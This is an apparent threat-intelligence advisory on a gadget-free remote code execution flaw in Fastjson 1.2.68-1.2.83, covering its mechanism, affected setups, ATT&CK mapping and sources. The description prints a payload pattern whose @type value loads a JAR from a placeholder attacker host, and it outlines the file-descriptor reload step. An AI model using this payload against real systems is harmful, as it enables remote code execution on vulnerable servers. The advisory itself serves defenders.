# Fastjson 1.2.x Gadget-Free Remote Code Execution via @JSONType Remote Class Load (Versions 1.2.68-1.2.83)

> A critical unauthenticated RCE in Alibaba Fastjson 1.2.68-1.2.83 lets attackers bypass autoType blacklist/whitelist protections and achieve code execution using a single JSON payload with no third-party gadget chain, by abusing checkAutoType's @type class-resource probing to remote-load a JAR via jar:http and trigger class initialization through Spring Boot's LaunchedURLClassLoader. Disclosed by researcher Kirill Firsov (FearsOff) around July 20-22, 2026 and independently confirmed by NSFOCUS CERT and Chaitin's emergency response lab; wild exploitation and public PoC/scanner tooling exist. No CVE has been assigned as of this writing. Fastjson 2.x and instances with SafeMode enabled are not affected.

- **Published:** 2026-07-21T00:00:00Z
- **Last reviewed:** 2026-07-21T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1599
- **ID:** TL-2026-1599
- **Severity:** CRITICAL (CVSS 9.8)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 17 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Fastjson's checkAutoType routine, used to enforce autoType blacklist/whitelist restrictions during deserialization, resolves candidate class names by probing classpath resources (getResourceAsStream(typeName.replace('.','/') + ".class")) before the type is validated against policy. Researchers found that supplying a crafted @type value using the jar: URL handler (pattern: {"@type":"jar:http://<attacker>:8000/x.jar!/Marker.class",...}) causes the JVM to fetch and cache a remote JAR during this probe step. On typical Spring Boot deployments using LaunchedURLClassLoader (both classic Spring Boot and Spring Boot 3 with embedded Tomcat), the cached JAR can subsequently be reopened via jar:file:/proc/self/fd/<N> references under an attacker-chosen class name and defineClass'd into the JVM, executing attacker code inside static initializers -- entirely before any object is actually instantiated or cast, and independent of whether the destination is a generic JSON.parse() call or a strongly-typed JSON.parseObject(body, Dto.class) binding. This defeats the common assumption that binding untrusted input to a fixed DTO class is a safe pattern, and defeats the pre-1.2.83 autoType blacklist because the abused mechanism operates during resource probing rather than during the later type-instantiation check the blacklist protects. The technique requires SafeMode to be disabled (it is disabled by default unless explicitly enabled) and works against JDK 8 via a direct-class route and against Linux/JDK 17 via the retained-JAR file-descriptor continuation. It does not require any pre-existing 'gadget' class (e.g. Throwable/Exception subclasses with exploitable setters) to exist on the target's classpath, which is what distinguishes it from earlier Fastjson autoType-bypass RCEs such as CVE-2022-25845 -- that 2022 flaw abused special handling of Throwable subclasses in ThrowableDeserializer and was constrained by the scarcity of usable gadget classes (only Selenium's WebDriverException was documented as a compatible public gadget, and even that yielded data leakage rather than full RCE). The 2026 finding removes that constraint: any endpoint that parses untrusted JSON through Fastjson 1.x with SafeMode off -- HTTP APIs, RPC frameworks, message-queue consumers -- is exploitable with one payload. NSFOCUS CERT's July 22, 2026 advisory independently corroborates active wild exploitation and public PoC/vulnerability detail availability, and recommends WAF signature 27004897 (fastjson_remote_code_exec_strict) alongside SafeMode. Chaitin's emergency response lab separately reproduced the vulnerability. Public defensive/offensive tooling includes a Docker lab and scanner suite (fjdetect.py, fjscan_static.py, fjscan_probe.py, fjpayload.py) documenting the mechanism end-to-end and enumerating related vulnerability classes in the 1.2.83 codebase.

## MITRE ATT&CK

- T1595 Active Scanning
- T1587.004 Exploits
- T1583.006 Web Services
- T1190 Exploit Public-Facing Application
- T1203 Exploitation for Client Execution
- T1059 Command and Scripting Interpreter
- T1106 Native API
- T1505.003 Web Shell
- T1140 Deobfuscate/Decode Files or Information
- T1211 Exploitation for Stealth
- T1070.004 File Deletion
- T1518 Software Discovery
- T1083 File and Directory Discovery
- T1005 Data from Local System
- T1071.001 Web Protocols
- T1105 Ingress Tool Transfer
- T1489 Service Stop

## Sources

- [Fastjson 1.2.x Remote Code Execution Without Gadget Vulnerability Notice](https://nsfocusglobal.com/fastjson-1-2-x-remote-code-execution-without-gadget-vulnerability-notice/)
- [fastjson-jsontype-rce-lab: Docker lab + one-payload exploit + defensive scanner](https://github.com/dinosn/fastjson-jsontype-rce-lab)
- [Kirill Firsov (FearsOff) disclosure of gadget-free Fastjson 1.2.83 RCE](https://x.com/k_firsov/status/2078872293745570032)
- [【已复现】无需 gadget、黑名单失效-Fastjson 1.2.83 远程代码执行漏洞](https://www.gm7.org/archives/131784)
- [关于 Fastjson 1.2.83 RCE 漏洞，看这一篇就够了，包含漏洞细节与影响面分析](https://www.gm7.org/archives/132219)
- [【漏洞预警】Fastjson 远程代码执行漏洞预警：1.2.68–1.2.83 受影响](https://www.gm7.org/archives/131987)
- [GCSA洞察：Fastjson 1.2.83「Gadget-Free」漏洞（0day）深度分析與防禦指南](https://m.cnyes.com/news/id/6540815)
- [CVE-2022-25845 - Analyzing the Fastjson "Auto Type Bypass" RCE vulnerability](https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/)
- [High-Severity RCE Vulnerability Reported in Popular Fastjson Library](https://thehackernews.com/2022/06/high-severity-rce-vulnerability.html)
- [RCE Vulnerability Discovered in Fastjson: JFrog Report](https://www.anvilogic.com/threat-reports/fastjson-rce-exploit-found)
- [Fastjson SafeMode official documentation](https://github.com/alibaba/fastjson/wiki/fastjson_safemode)
- [Fastjson 2.x releases](https://github.com/alibaba/fastjson2/releases)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1599